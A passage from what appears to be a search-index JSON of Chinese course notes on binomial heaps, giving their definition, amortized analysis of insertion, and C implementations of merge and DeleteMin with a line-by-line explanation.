n)\\)\u7684\uff0c\u8fd9\u4e2a\\(n\\)\u65e2\u53ef\u4ee5\u662f\u4e24\u4e2a\u5806\u7684\u5927\u5c0f\u4e4b\u548c\uff0c\u6216\u8005\u662f\\(\\max(n1,n2)\\),\u56e0\u4e3a</p> \\[     \\log n_1+\\log n_2 \\leqslant 2 \\log \\max(n1,n2) \\]"},{"location":"NOTE/ADS/wk4/","title":"\u4e8c\u9879\u5806(Binomial Heap)","text":"<p> \u7ea6 2173 \u4e2a\u5b57  110 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 9 \u5206\u949f</p>"},{"location":"NOTE/ADS/wk4/#_1","title":"\u4e8c\u9879\u5806\u7684\u5b9a\u4e49\u548c\u6027\u8d28","text":"<p>\u5728\u4e8c\u53c9\u5806(Binary Heap)\u7684\u57fa\u7840\u4e0a\uff0c\u6211\u4eec\u53ef\u4ee5\u5b9e\u73b0\u5728\u53ef\u4ee5\u5728 \\(O(n)\\) \u65f6\u95f4\u5185\u5b9e\u73b0 \\(n\\) \u4e2a\u7ed3\u70b9\u7684\u63d2\u5165\u5efa\u5806\u64cd\u4f5c\uff0c\u800c\u4e4b\u524d\u8ba8\u8bba\u7684\u5de6\u5f0f\u5806\u548c\u659c\u5806\u4e0d\u53ef\u4ee5</p> <p>Definition</p> <ul> <li>\u7ed3\u6784\u6027\u8d28\uff1a</li> <li>\u4e8c\u9879\u5806\u4e0d\u662f\u4e00\u68f5\u6811\uff0c\u800c\u662f\u7531\u8bb8\u591a\u6811\u7ec4\u6210\u7684\u68ee\u6797\uff0c\u5176\u4e2d\u6bcf\u4e00\u68f5\u6811\u79f0\u4e3a\u4e8c\u9879\u6811</li> <li>\u4e00\u4e2a\u4e8c\u9879\u5806\u4e2d\u7684\u6bcf\u68f5\u6811\u5177\u6709\u4e0d\u540c\u7684\u9ad8\u5ea6\uff0c\u6bcf\u4e00\u79cd\u9ad8\u5ea6\u7684\u4e8c\u9879\u6811\u6700\u591a\u53ea\u6709\u4e00\u68f5</li> <li>\u9ad8\u5ea6\u4e3a 0 \u7684\u4e8c\u9879\u6811\u662f\u4e00\u68f5\u5355\u8282\u70b9\u6811\uff1b\u9ad8\u5ea6\u4e3a \\(k\\) \u7684\u4e8c\u9879\u6811 \\(B_k\\) \u901a\u8fc7\u5c06\u4e00\u68f5\u4e8c\u9879\u6811 \\(B_{k\u22121}\\) \u9644\u63a5\u5230\u53e6\u4e00\u68f5\u4e8c\u9879\u6811 \\(B_{k\u22121}\\) \u7684\u6839\u4e0a\u800c\u6784\u6210</li> <li>\u5e8f\u6027\u8d28\uff1a\u6bcf\u68f5\u4e8c\u9879\u6811\u90fd\u4fdd\u6301\u5806\u5e8f\u6027\u8d28(\u6700\u5c0f\u5806\u6216\u8005\u6700\u5927\u5806)</li> </ul> <p>\u6839\u636e\u4e8c\u9879\u5806\u7684\u6027\u8d28\uff0c\u6211\u4eec\u6709\u4ee5\u4e0b\u7ed3\u8bba\uff1a</p> <p>\u4e8c\u9879\u6811\u7684\u8282\u70b9\u6570\u76ee\uff1a\\(B_k\\) \u7684\u4e8c\u9879\u6811\u5177\u6709 \\(2^k\\) \u4e2a\u8282\u70b9\uff0c\u8fd9\u53ef\u4ee5\u7531\u9012\u63a8\u5f88\u5bb9\u6613\u8bc1\u660e</p> <p>\u5728\u6df1\u5ea6\u4e3a\\(d\\)\u5904\u7684\u8282\u70b9\u6570\u6070\u597d\u5c31\u662f\u4e8c\u9879\u7cfb\u6570\\(\\begin{pmatrix} k \\\\ d \\end{pmatrix}\\)</p> <p>\u6570\u5b66\u5f52\u7eb3\u6cd5\u8bc1\u660e</p> <p>\u5bf9\u4e8e \\(k = 0\\) \u7684\u60c5\u51b5\u663e\u7136\u6b63\u786e\uff0c\u8bbe\u76f4\u5230 \\(k\\) \u7ed3\u8bba\u90fd\u662f\u6b63\u786e\u7684\uff0c\u5219\u5bf9\u4e8e \\(B_k+1\\)\uff0c\u7b2c\u4e00\u5c42\u548c \u6700\u540e\u4e00\u5c42\u53ea\u6709\u4e00\u4e2a\u7ed3\u70b9\u662f\u53ef\u4ee5\u76f4\u63a5\u5f97\u5230\u7684\uff0c\u5728\u5176\u5b83\u5c42\u4e2d\uff0c\u56de\u5fc6\u4e8c\u9879\u5806\u7684\u5b9a\u4e49\u662f\u7531\u4e24\u4e2a \\(B_k\\) \u63a5\u8d77\u6765\u7684\uff0c\u56e0\u6b64\u5728\u65b0\u6811\u7684\u6df1\u5ea6\u4e3a\\(d\\)\u7684\u5730\u65b9\uff0c\u7531\u4e24\u90e8\u5206\u7ec4\u6210\uff1a</p> <ul> <li>\u4e00\u90e8\u5206\u662f\u5728 \\(B_k\\) \u7684\u6df1\u5ea6\u4e3a \\(d\\) \u7684\u5730\u65b9\uff0c\u6709 \\(\\begin{pmatrix} k \\\\ d \\end{pmatrix}\\) \u4e2a\u7ed3\u70b9</li> <li>\u53e6\u4e00\u90e8\u5206\u662f\u5728 \\(B_k\\) \u7684\u6df1\u5ea6\u4e3a \\(d-1\\) \u7684\u5730\u65b9\uff0c\u6709 \\(\\begin{pmatrix} k \\\\ d-1 \\end{pmatrix}\\) \u4e2a\u7ed3\u70b9</li> </ul> <p>\u6545\u6211\u4eec\u53ea\u8981\u8bc1</p> \\[ \\begin{pmatrix} k+1 \\\\ d \\end{pmatrix} = \\begin{pmatrix} k \\\\ d \\end{pmatrix} + \\begin{pmatrix} k \\\\ d-1 \\end{pmatrix} \\] <p>\u8fd9\u7531\u4e8c\u9879\u6570\u7684\u6027\u8d28\u5f88\u5bb9\u6613\u8bc1\u660e</p> <p>Note</p> <p>\u53ef\u4ee5\u5c06\u4e8c\u9879\u5806\u4e0e\u4e8c\u8fdb\u5236\u8868\u793a\u8054\u7cfb\u8d77\u6765</p>"},{"location":"NOTE/ADS/wk4/#_2","title":"\u4e8c\u9879\u5806\u7684\u64cd\u4f5c","text":""},{"location":"NOTE/ADS/wk4/#findmin","title":"Findmin","text":"<p>\u76f4\u63a5\u904d\u5386\u6240\u6709\u6811,\u6ce8\u610f\u5230\u5bf9\u4e8e\u4e00\u4e2a\u6709\\(n\\)\u4e2a\u7ed3\u70b9\u7684\u4e8c\u9879\u5806\uff0c\u6700\u591a\u6709\\(\\log n\\)\u68f5\u6811\uff0c\u56e0\u6b64\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a\\(O(\\log n)\\)</p> <p>\u4e5f\u53ef\u4ee5\u901a\u8fc7\u4e13\u95e8\u8bb0\u5f55\u6700\u5c0f\u7684\u8282\u70b9\u6765\u5b9e\u73b0\\(O(1)\\)\u7684\u65f6\u95f4\u590d\u6742\u5ea6\uff0c\u5f53\u7136\u5728DeleteMin\u7684\u65f6\u5019\u9700\u8981\u91cd\u65b0\u627e\u5230\u6700\u5c0f\u7684\u8282\u70b9\u5e76\u66f4\u65b0</p>"},{"location":"NOTE/ADS/wk4/#insert-merge","title":"Insert &amp; merge","text":"<p>\u63d2\u5165\u662f\u7279\u6b8a\u7684\u5408\u5e76\u64cd\u4f5c\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u4e00\u4e2a\u65b0\u7684\u8282\u70b9\u770b\u4f5c\u662f\u4e00\u4e2a\u53ea\u6709\u4e00\u4e2a\u8282\u70b9\u7684\u4e8c\u9879\u5806\uff0c\u7136\u540e\u5c06\u5176\u4e0e\u539f\u6765\u7684\u4e8c\u9879\u5806\u5408\u5e76\u5373\u53ef\uff1b</p> <p>\u5408\u5e76\u64cd\u4f5c\u7684\u8fc7\u7a0b\u5341\u5206\u7c7b\u4f3c\u4e8c\u8fdb\u5236\u6570\u7684\u52a0\u6cd5\uff0c\u4f8b\u5982\u4e00\u4e2a\u4e8c\u9879\u5806\u6709\\(B_3,B_2,B_0\\),\u5176\u4e8c\u8fdb\u5236\u8868\u793a\u4e3a\\(1101\\)\uff0c\u53e6\u4e00\u4e2a\u4e8c\u9879\u5806\u6709\\(B_3,B_1,B_0\\)\uff0c\u5176\u4e8c\u8fdb\u5236\u8868\u793a\u4e3a\\(1011\\)\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u5176\u770b\u4f5c\u662f\u4e8c\u8fdb\u5236\u6570\u76f8\u52a0\uff0c\u7136\u540e\u5c06\u8fdb\u4f4d\u7684\u90e8\u5206\u5408\u5e76\u5f97\u5230\u65b0\u7684\u4e8c\u8fdb\u5236\u6570\\(11000\\),\u5219\u65b0\u7684\u4e8c\u9879\u5806\u4e3a\\(B_4,B_3\\)\uff0c\u6211\u4eec\u9700\u8981\u4fdd\u8bc1\u5806\u7684\u5b58\u50a8\u987a\u5e8f\u662f\u6309\u9ad8\u5ea6\u4ece\u5c0f\u5230\u5927\u6765\u6392\u5217\uff0c\u8fd9\u6837\u65f6\u95f4\u590d\u6742\u5ea6\u5c31\u662f\\(O(\\log n)\\)</p> <p>\u5bf9\u4e8e\u4ece\u7a7a\u5f00\u59cb\u63d2\u5165\u5efa\u5806\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u6211\u4eec\u9700\u8981\u505a\u7279\u6b8a\u7684\u5206\u6790\u3002\u56e0\u4e3a\u6211\u4eec\u662f\u8981\u5e73\u5747\u65f6\u95f4\u7684\u6700\u574f\u60c5\u51b5\uff0c\u4e8b\u5b9e\u4e0a\u4e5f\u5c31\u662f\u644a\u8fd8\u4ee3\u4ef7\u3002</p> <p>\u805a\u5408\u6cd5</p> <p>\u805a\u5408\u6cd5\u9700\u8981\u6bcf\u4e00\u6b65\u7684\u64cd\u4f5c\u590d\u6742\u5ea6\uff0c\u5b9e\u9645\u4e0a\u6211\u4eec\u968f\u4fbf\u6a21\u62df\u51e0\u6b65\u518d\u7ed3\u5408\u4e4b\u524d\u8ba8\u8bba\u7684\u5408\u5e76\u548c\u4e8c\u8fdb\u5236\u52a0\u6cd5\u4e4b\u95f4\u7684\u5173\u7cfb\u5c31\u53ef\u4ee5\u53d1\u73b0\uff0c\u63d2\u5165\u7684\u6574\u4e2a\u64cd\u4f5c\u4e0e\u4e8c\u8fdb\u5236\u6570\u52a01\u6709\u5b8c\u5168\u7684\u5bf9\u5e94\u5173\u7cfb\uff1a\u82e5\u662f\u9047\u5230\u4e86\u67d0\u4e00\u4f4d\u662f\\(1+1\\)\uff0c\u5219\u7528\u5e38\u6570\u64cd\u4f5c\u5b8c\u6210\u7b80\u5355\u7684\u5408\u5e76\u5373\u53ef\uff0c\u5982\u679c\u9047\u5230\\(0+1\\)\uff0c\u90a3\u4e48\u5f53\u524d\u6240\u6709\u7684\u4e8c\u9879\u6811\u5408\u8d77\u6765\u5c31\u662f\u6700\u540e\u7684\u7ed3\u679c\u3002\u57fa\u4e8e\u8fd9\u4e00\u89c2\u5bdf\u6211\u4eec\u77e5\u9053\uff0c\u56e0\u4e3a\\(0+1\\)\u5bf9\u5e94\u5c060\u7f6e1\uff0c\\(1+1\\)\u5bf9\u5e941\u7f6e0\uff0c\u8fd9\u4e24\u79cd\u60c5\u51b5\u90fd\u5bf9\u5e94\u4e8e\u5806\u7684\u5e38\u6570\u65f6\u95f4\u64cd\u4f5c\uff0c\u56e0\u6b64\u4ece\u7a7a\u6811\u8fde\u7eed\u63d2\u5165\\(n\\)\u7684\u9876\u70b9\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u4e0e\\(0+1+1 \\cdots (n \\ of \\ 1)\\)\u7684\u8fc7\u7a0b\u4e2d\u6570\u636e\u4e8c\u8fdb\u5236\u8868\u793a\u4e2d0\u548c1\u6bd4\u7279\u7ffb\u8f6c\u7684\u6b21\u6570\u603b\u548c\u3002\u4e8e\u662f\u7b97\u6cd5\u590d\u6742\u5ea6\u5c31\u5f88\u597d\u8ba1\u7b97\u4e86\uff0c\u56e0\u4e3a\u6211\u4eec\u77e5\u9053\\(n\\)\u5bf9\u5e94\u4e8e  \\(\\lfloor \\log n \\rfloor+1\\)\u4e2a\u4e8c\u8fdb\u5236\u4f4d\uff0c\u4e8b\u5b9e\u4e0a\u6700\u4f4e\u4f4d\u6bcf\u6b21\u52a01\u90fd\u4f1a\u53cd\u8f6c\u6bd4\u7279\uff0c\u6b21\u4f4e\u4f4d\u6bcf\u4e24\u6b21\u8fd0\u7b97\u53cd\u8f6c\u6bd4\u7279\uff0c\u5012\u6570\u7b2c\u4e09\u4f4d\u6bcf4\u6b21\u8fd0\u7b97\u53cd\u8f6c\u6bd4\u7279......\u4ee5\u6b64\u7c7b\u63a8\uff0c\\(n\\)\u6b21\u64cd\u4f5c\u7684\u6574\u4f53\u65f6\u95f4\u590d\u6742\u5ea6\u4e0e</p> \\[   n+ \\frac{n}{2} + \\frac{n}{4} + \\cdots + \\dfrac{n}{2^{m}} = O(n),m=\\lfloor \\log n \\rfloor+1 \\] <p>\u6709\u4e86\u8fd9\u4e2a\u7ed3\u8bba\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u77e5\u9053\uff0c\u4ece\u7a7a\u6811\u5f00\u59cb\u63d2\u5165\\(n\\)\u4e2a\u7ed3\u70b9\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f\\(O(n)\\)\u7684,\u6545\u5355\u6b65\u63d2\u5165\u7684\u644a\u8fd8\u4ee3\u4ef7\u662f\\(O(1)\\)\u7684</p> <p>\u52bf\u80fd\u6cd5</p> <p>\u5bf9\u4e8e\u590d\u6742\u7684\u64cd\u4f5c\uff0c\u5bf9\u5e94\u7740\u5f88\u591a\u6b21\u7684\u590d\u4f4d\u64cd\u4f5c(1\u53d80)\u548c\u4e00\u6b21\u7f6e\u4f4d(0\u53d81)\u64cd\u4f5c\uff0c\u6240\u4ee5\u5c06\u52bf\u51fd\u6570\u5b9a\u4e49\u4e3a \\(\\Phi=\\)\u4e8c\u9879\u5806\u4e2d\u4e8c\u9879\u6811\u7684\u4e2a\u6570\uff0c\u8fd9\u6837\u5728\u4e00\u6b21\u64cd\u4f5c\u4e4b\u540e\u52bf\u51fd\u6570\u7684\u4f1a\u4e0b\u964d\u5f88\u591a\uff1b</p> <p>\u5047\u8bbe\u4e00\u6b21\u64cd\u4f5c \\(c_i=k+1\\) \u6709 \\(k\\) \u6b21\u590d\u4f4d\uff1b\u90a3\u4e48</p> \\[     \\hat{c_i}=c_i+1-k=2 \\] <p>\u6545\u5355\u6b65\u64cd\u4f5c\u590d\u6742\u5ea6\u4e3a\\(O(1)\\)</p>"},{"location":"NOTE/ADS/wk4/#_3","title":"\u4e8c\u9879\u5806\u7684\u4ee3\u7801\u5b9e\u73b0","text":"<p>\u56e0\u4e3a\u6bcf\u4e2a\u7ed3\u70b9\u7684\u5b69\u5b50\u6570\u91cf\u53ef\u80fd\u4e0d\u53ea\u67092\u4e2a\uff0c\u56e0\u6b64\u6211\u4eec\u4f7f\u7528LeftChild\u548cNextSibling\u7684\u7ec4\u5408\u5b9e\u73b0\u3002\u76f4\u89c2\u4e0a\u6765\u770b\u7528LeftChild\u548cNextSibling\u662f\u8ba9\u4e8c\u9879\u6811\u7ffb\u8f6c\u4e86\uff1a\u539f\u5148\u662f\u6839\u7684\u5b50\u6811\u4ece\u5de6\u5230\u53f3\u9ad8\u5ea6\u4f9d\u6b21\u589e\u5927\uff0c\u73b0\u5728\u4f9d\u6b21\u51cf\u5c0f\u4e86\u3002\u5e76\u4e14\u4e3a\u4e86\u65b9\u4fbf\u7d22\u5f15\u6bcf\u68f5\u4e8c\u9879\u6811\uff0c\u6211\u4eec\u7528\u4e00\u4e2a\u6570\u7ec4\u5b58\u50a8\u6bcf\u68f5\u4e8c\u9879\u6811\u7684\u6839\uff0c\u5176\u4e2d\u6570\u7ec4\u7684\u7d22\u5f15\u5c31\u5bf9\u5e94\u4e8c\u9879\u6811\u7684\u9ad8\u5ea6</p> <p>Key-point</p> <p>\u76f8\u5f53\u4e8e\u8ba9\u6700\u5927\u7684\u5b69\u5b50\u7ba1\u7740\u5176\u5b83\u7684\u5144\u5f1f</p>"},{"location":"NOTE/ADS/wk4/#_4","title":"\u7ed3\u6784\u5b9a\u4e49","text":"<pre><code>typedef struct BinNode *Position;//\u6307\u9488\ntypedef struct Collection *BinQueue;//\u4e8c\u9879\u961f\u5217\ntypedef struct BinNode *BinTree;  //\u4e8c\u9879\u6811\n\nstruct BinNode \n{ \n    ElementType     Element;\n    Position        LeftChild;\n    Position        NextSibling;\n} ;\n\nstruct Collection \n{ \n    int         CurrentSize;  /* total number of nodes */\n    BinTree TheTrees[ MaxTrees ];//\u5b58\u50a8\u6bcf\u68f5\u4e8c\u9879\u6811\u7684\u6839\n} ;\n</code></pre>"},{"location":"NOTE/ADS/wk4/#o1","title":"\u5408\u5e76\u5927\u5c0f\u76f8\u540c\u7684\u6811(\\(O(1)\\)\u590d\u6742\u5ea6)","text":"<pre><code>BinTree\nCombineTrees( BinTree T1, BinTree T2 )\n{  /* merge equal-sized T1 and T2 */\n    if ( T1-&gt;Element &gt; T2-&gt;Element )\n        /* attach the larger one to the smaller one */\n        return CombineTrees( T2, T1 );\n    /* insert T2 to the front of the children list of T1 */\n    T2-&gt;NextSibling = T1-&gt;LeftChild;\n    T1-&gt;LeftChild = T2;\n    return T1;\n}\n</code></pre>"},{"location":"NOTE/ADS/wk4/#merge","title":"Merge","text":"<pre><code>BinQueue  Merge( BinQueue H1, BinQueue H2 )\n{   BinTree T1, T2, Carry = NULL;   \n    int i, j;\n    if ( H1-&gt;CurrentSize + H2-&gt; CurrentSize &gt; Capacity )  ErrorMessage();\n    H1-&gt;CurrentSize += H2-&gt; CurrentSize;\n    for ( i=0, j=1; j&lt;= H1-&gt;CurrentSize; i++, j*=2 ) {\n        T1 = H1-&gt;TheTrees[i]; T2 = H2-&gt;TheTrees[i]; /*current trees */\n        switch( 4*!!Carry + 2*!!T2 + !!T1 ) { \n        case 0: /* 000 */  break;\n        case 1: /* 001 */  break;   \n        case 2: /* 010 */  H1-&gt;TheTrees[i] = T2; H2-&gt;TheTrees[i] = NULL; break;\n        case 4: /* 100 */  H1-&gt;TheTrees[i] = Carry; Carry = NULL; break;\n        case 3: /* 011 */  Carry = CombineTrees( T1, T2 );\n                        H1-&gt;TheTrees[i] = H2-&gt;TheTrees[i] = NULL; break;\n        case 5: /* 101 */  Carry = CombineTrees( T1, Carry );\n                        H1-&gt;TheTrees[i] = NULL; break;\n        case 6: /* 110 */  Carry = CombineTrees( T2, Carry );\n                        H2-&gt;TheTrees[i] = NULL; break;\n        case 7: /* 111 */  H1-&gt;TheTrees[i] = Carry; \n                        Carry = CombineTrees( T1, T2 ); \n                        H2-&gt;TheTrees[i] = NULL; break;\n        } /* end switch */\n    } /* end for-loop */\n    return H1;\n}\n</code></pre> <ul> <li><code>4*!!Carry + 2*!!T2 + !!T1</code>\u7684\u4f5c\u7528\u662f\u5c06\u6811\u8f6c\u6362\u4e3a\u4e8c\u8fdb\u5236\u8868\u793a\uff0c\u5bf9\u4e8e\u7b2c\u4e00\u4e2a\u975e\uff0c\u5982\u679c\u662f\u7a7a\uff0c\u90a3\u4e48\u4e3a1\uff0c\u5982\u679c\u975e\u7a7a\uff0c\u90a3\u4e48\u4e3a0\uff0c\u518d\u53d6\u975e\uff0c\u5c31\u518d\u53d6\u53cd\uff0c\u7136\u540e\u8f6c\u6362\u4e3a3\u4f4d\u7684\u4e8c\u8fdb\u5236\u6570\u5b57</li> <li><code>000</code>\u4ec0\u4e48\u90fd\u4e0d\u7528\u505a\uff0c\u6b64\u65f6\u4e09\u4e2a\u4f4d\u7f6e\u90fd\u662f0</li> <li><code>001</code>\u4ec0\u4e48\u90fd\u4e0d\u7528\u505a\uff0c\u6b64\u65f6<code>H1</code>\u6709\u6811\uff0c<code>H2</code>\u6ca1\u6709\u4e1c\u897f\u9700\u8981\u5408\u5e76\u4e0a\u53bb\u7684</li> <li><code>010</code>\u6b64\u65f6\u5c06<code>H2</code>\u7684\u6811\u8f6c\u79fb\u5230<code>H1</code></li> <li><code>011</code>\u9700\u8981\u8fdb\u4f4d\uff0c<code>Carry</code>\u8981\u53d8\u6210\u4e24\u6811\u4e4b\u548c\uff0c\u4e24\u6811\u8981\u6e05\u7a7a</li> <li><code>100</code>\u5c06<code>Carry</code>\u8f6c\u79fb\u5230<code>H1</code></li> <li><code>101</code>\u9700\u8981\u8fdb\u4f4d,\u5f53\u4f4d\u7f6e0\uff0c\u5c06<code>Carry</code>\u53d8\u5f97\u66f4\u5927</li> <li><code>110</code>\u4e0e\u4e0a\u4e00\u60c5\u51b5\u7c7b\u4f3c</li> <li><code>111</code>\u8fd9\u91cc\u7684\u505a\u6cd5\u5e76\u4e0d\u552f\u4e00\uff0c\u6211\u4eec\u53ef\u4ee5\u4fdd\u7559\u4efb\u610f\u4e00\u68f5\u6811,\u5c06\u53e6\u5916\u4e24\u6811\u4e4b\u548c\u8fdb\u4f4d\u4e0a\u53bb\uff0c\u4e0d\u8fc7\u8fd9\u91cc\u91c7\u7528\u7684\u662f\u4fdd\u7559<code>Carry</code>,\u8fdb\u4f4d<code>T1+T2</code></li> </ul>"},{"location":"NOTE/ADS/wk4/#deletemin","title":"Deletemin","text":"<pre><code>ElementType  DeleteMin( BinQueue H )\n{   BinQueue DeletedQueue; \n    Position DeletedTree, OldRoot;\n    ElementType MinItem = Infinity;  /* the minimum item to be returned */  \n    int i, j, MinTree; /* MinTree is the index of the tree with the minimum item */\n\n    if ( IsEmpty( H ) )  {  PrintErrorMessage();  return \u2013Infinity; }\n\n    for ( i = 0; i &lt; MaxTrees; i++) {  /* Step 1: find the minimum item */\n        if( H-&gt;TheTrees[i] &amp;&amp; H-&gt;TheTrees[i]-&gt;Element &lt; MinItem ) { \n        MinItem = H-&gt;TheTrees[i]-&gt;Element;  MinTree = i;    } /* end if */\n    } /* end for-i-loop */\n\n    DeletedTree = H-&gt;TheTrees[ MinTree ];  \n    H-&gt;TheTrees[ MinTree ] = NULL;   /* Step 2: remove the MinTree from H =&gt; H\u2019 */ \n    OldRoot = DeletedTree;   /* Step 3.1: remove the root */ \n    DeletedTree = DeletedTree-&gt;LeftChild;   free(OldRoot);\n    DeletedQueue = Initialize();   /* Step 3.2: create H\u201d */ \n\n    DeletedQueue-&gt;CurrentSize = ( 1&lt;&lt;MinTree ) \u2013 1;  /* 2^{MinTree} \u2013 1 */\n\n    for ( j = MinTree \u2013 1; j &gt;= 0; j \u2013 \u2013 ) {  \n        DeletedQueue-&gt;TheTrees[j] = DeletedTree;\n        DeletedTree = DeletedTree-&gt;NextSibling;\n        DeletedQueue-&gt;TheTrees[j]-&gt;NextSibling = NULL;\n    } //\u5c06\u6811\u62c6\u5f00\n\n    H-&gt;CurrentSize  \u2013 = DeletedQueue-&gt;CurrentSize + 1;//minus 2^{MinTree}\n    H = Merge( H, DeletedQueue ); /* Step 4: merge H\u2019 and H\u201d */ \n    return MinItem;\n}\n</code></pre> Explanation <p>\u6bd4\u8f83\u7b80\u5355\uff0c\u5c31\u7167\u6284\u4e86GPT\u4e86</p> <p>\u51fd\u6570\u539f\u578b\u548c\u8f93\u5165\u53c2\u6570</p> <pre><code>ElementType DeleteMin(BinQueue H)\n</code></pre> <ul> <li><code>ElementType</code>: \u8fd4\u56de\u5220\u9664\u7684\u6700\u5c0f\u5143\u7d20\u7684\u7c7b\u578b\u3002</li> <li><code>BinQueue H</code>: \u8981\u4ece\u4e2d\u5220\u9664\u6700\u5c0f\u5143\u7d20\u7684\u4e8c\u9879\u961f\u5217\u3002</li> </ul> <p>\u53d8\u91cf\u521d\u59cb\u5316</p> <pre><code>BinQueue DeletedQueue; \nPosition DeletedTree, OldRoot;\nElementType MinItem = Infinity; \nint i, j, MinTree;\n</code></pre> <ul> <li><code>DeletedQueue</code>: \u7528\u4e8e\u5b58\u50a8\u5c06\u8981\u5220\u9664\u7684\u6811\u3002</li> <li><code>DeletedTree</code>: \u6307\u5411\u5f53\u524d\u5904\u7406\u7684\u6811\u3002</li> <li><code>OldRoot</code>: \u4fdd\u5b58\u88ab\u5220\u9664\u7684\u6839\u8282\u70b9\u3002</li> <li><code>MinItem</code>: \u521d\u59cb\u8bbe\u4e3a\u6b63\u65e0\u7a77\uff0c\u7528\u4e8e\u8ddf\u8e2a\u6700\u5c0f\u5143\u7d20\u3002</li> <li><code>MinTree</code>: \u5b58\u50a8\u6700\u5c0f\u5143\u7d20\u6240\u5728\u6811\u7684\u7d22\u5f15\u3002</li> </ul> <p>\u68c0\u67e5\u961f\u5217\u662f\u5426\u4e3a\u7a7a</p> <pre><code>if (IsEmpty(H)) { PrintErrorMessage(); return -Infinity; }\n</code></pre> <ul> <li>\u68c0\u67e5\u4e8c\u9879\u961f\u5217\u662f\u5426\u4e3a\u7a7a\u3002\u5982\u679c\u4e3a\u7a7a\uff0c\u5219\u6253\u5370\u9519\u8bef\u4fe1\u606f\u5e76\u8fd4\u56de\u8d1f\u65e0\u7a77\u3002</li> </ul> <p>\u627e\u5230\u6700\u5c0f\u5143\u7d20 <pre><code>for (i = 0; i &lt; MaxTrees; i++) {\n    if (H-&gt;TheTrees[i] &amp;&amp; H-&gt;TheTrees[i]-&gt;Element &lt; MinItem) { \n        MinItem = H-&gt;TheTrees[i]-&gt;Element;  \n        MinTree = i;    \n    }\n}\n</code></pre></p> <ul> <li>\u904d\u5386\u6240\u6709\u6811\uff0c\u627e\u5230\u5177\u6709\u6700\u5c0f\u5143\u7d20\u7684\u6811\uff08\u5373\u6700\u5c0f\u6839\u8282\u70b9\uff09\u3002</li> <li>\u5982\u679c\u627e\u5230\u66f4\u5c0f\u7684\u5143\u7d20\uff0c\u5219\u66f4\u65b0<code>MinItem</code>\u548c<code>MinTree</code>\u3002</li> </ul> <p>\u5220\u9664\u6700\u5c0f\u5143\u7d20\u7684\u6811 <pre><code>DeletedTree = H-&gt;TheTrees[MinTree];  \nH-&gt;TheTrees[MinTree] = NULL;   \nOldRoot = DeletedTree;   \nDeletedTree = DeletedTree-&gt;LeftChild;   \nfree(OldRoot);\n</code></pre></p> <ul> <li>\u5c06\u6700\u5c0f\u6811\u5b58\u50a8\u5728<code>DeletedTree</code>\u4e2d\uff0c\u5e76\u5728\u539f\u961f\u5217\u4e2d\u5c06\u5176\u7f6e\u4e3aNULL\u3002</li> <li>\u4fdd\u5b58\u6839\u8282\u70b9\u5230<code>OldRoot</code>\uff0c\u7136\u540e\u5c06<code>DeletedTree</code>\u6307\u5411\u5176\u5de6\u5b50\u6811\u3002</li> <li>\u91ca\u653e<code>OldRoot</code>\u6240\u5360\u7684\u5185\u5b58\u3002</li> </ul> <p>\u521d\u59cb\u5316\u65b0\u7684\u961f\u5217 <pre><code>DeletedQueue = Initialize();   \nDeletedQueue-&gt;CurrentSize = (1 &lt;&lt; MinTree) - 1;  \n</code></pre></p> <ul> <li>\u521d\u59cb\u5316\u4e00\u4e2a\u65b0\u7684\u4e8c\u9879\u961f\u5217<code>DeletedQueue</code>\uff0c\u7528\u4e8e\u5b58\u653e\u4ece\u6700\u5c0f\u6811\u4e2d\u62c6\u5206\u51fa\u7684\u6811\u3002</li> <li>\u8bbe\u7f6e<code>DeletedQueue</code>\u7684\u5f53\u524d\u5927\u5c0f\u4e3a <code>2^MinTree - 1</code>\uff0c\u56e0\u4e3a\u6700\u5c0f\u6811\u7684\u8282\u70b9\u6570\u662f <code>2^MinTree - 1</code>\u3002</li> </ul> <p>\u62c6\u5206\u6811\u5e76\u653e\u5165\u65b0\u961f\u5217 <pre><code>for (j = MinTree - 1; j &gt;= 0; j--) {  \n    DeletedQueue-&gt;TheTrees[j] = DeletedTree;\n    DeletedTree = DeletedTree-&gt;NextSibling;\n    DeletedQueue-&gt;TheTrees[j]-&gt;NextSibling = NULL;\n}\n</code></pre></p> <ul> <li>\u4ece<code>MinTree-1</code>\u5230<code>0</code>\uff0c\u5c06\u62c6\u5206\u51fa\u7684\u6811\u4f9d\u6b21\u653e\u5165<code>DeletedQueue</code>\u4e2d\u3002</li> <li>\u5c06\u6bcf\u68f5\u6811\u7684<code>NextSibling</code>\u8bbe\u4e3aNULL\uff0c\u4ee5\u6b63\u786e\u65ad\u5f00\u94fe\u8868\u3002</li> </ul> <p>\u66f4\u65b0\u539f\u961f\u5217\u7684\u5927\u5c0f\u5e76\u5408\u5e76 <pre><code>H-&gt;CurrentSize -= DeletedQueue-&gt;CurrentSize + 1; \nH = Merge(H, DeletedQueue);\n</code></pre></p> <ul> <li>\u4ece\u539f\u961f\u5217<code>H</code>\u7684\u5f53\u524d\u5927\u5c0f\u4e2d\u51cf\u53bb<code>DeletedQueue</code>\u7684\u5927\u5c0f\u4ee5\u53ca1\uff08\u56e0\u4e3a\u5220\u9664\u4e86\u4e00\u4e2a\u6839\uff09\u3002</li> <li>\u8c03\u7528<code>Merge</code>\u51fd\u6570\u5c06<code>H</code>\u548c<code>DeletedQueue</code>\u5408\u5e76\uff0c\u66f4\u65b0\u539f\u961f\u5217\u3002</li> </ul> <p>\u8fd4\u56de\u6700\u5c0f\u5143\u7d20</p> <pre><code>return MinItem;\n</code></pre> <ul> <li>\u8fd4\u56de\u627e\u5230\u7684\u6700\u5c0f\u5143\u7d20\u3002</li> </ul>"},{"location":"NOTE/ADS/wk4/#_5","title":"\u5806\u6027\u80fd\u7684\u603b\u7ed3(\u5355\u6b65\u644a\u8fd8\u4ee3\u4ef7)","text":"Operation Binary Heap Leftist Heap Skew Heap Binomial Heap Fibonacci Heap Insert \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(1)\\) \\(O(1)\\) Merge \\(O(n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(1)\\) DeleteMin \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) 